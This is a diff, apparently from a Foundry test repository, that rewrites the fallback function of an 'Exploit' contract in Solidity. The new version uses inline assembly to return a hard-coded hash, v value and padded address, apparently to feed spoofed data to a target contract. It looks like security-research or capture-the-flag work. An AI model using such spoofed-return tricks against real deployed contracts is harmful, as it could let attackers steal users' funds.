File tree Expand file tree Collapse file tree 1 file changed +10
-5
lines changed Expand file tree Collapse file tree 1 file changed +10
-5
lines changed Original file line number Diff line number Diff line change @@ -41,10 +41,15 @@ contract ExploitTest is Test {
41
41
}
42
42
43
43
contract Exploit {
44
- fallback (bytes calldata /* input */ ) external returns (bytes memory output ) {
45
- bytes32 h = hex "bd8dced7bc30310eaf6c4532178481e51b3234d90e4da270c3dcdf5aa694ce6b " ;
46
- uint8 v = 27 ;
47
- bytes32 r = hex "00000000000000000000003b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 " ;
48
- return abi.encode (h, v, r);
44
+ fallback (bytes calldata /* input */ ) external returns (bytes memory ) {
45
+ assembly {
46
+ let ptr := mload (0x40 )
47
+
48
+ mstore (ptr, 0xbd8dced7bc30310eaf6c4532178481e51b3234d90e4da270c3dcdf5aa694ce6b ) // h
49
+ mstore (add (ptr, 0x20 ), 27 ) // v
50
+ mstore (add (ptr, 0x40 ), 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 ) // r
51
+
52
+ return (ptr, 96 )
53
+ }
49
54
}
50
55
}
You can’t perform that action at this time.
0 commit comments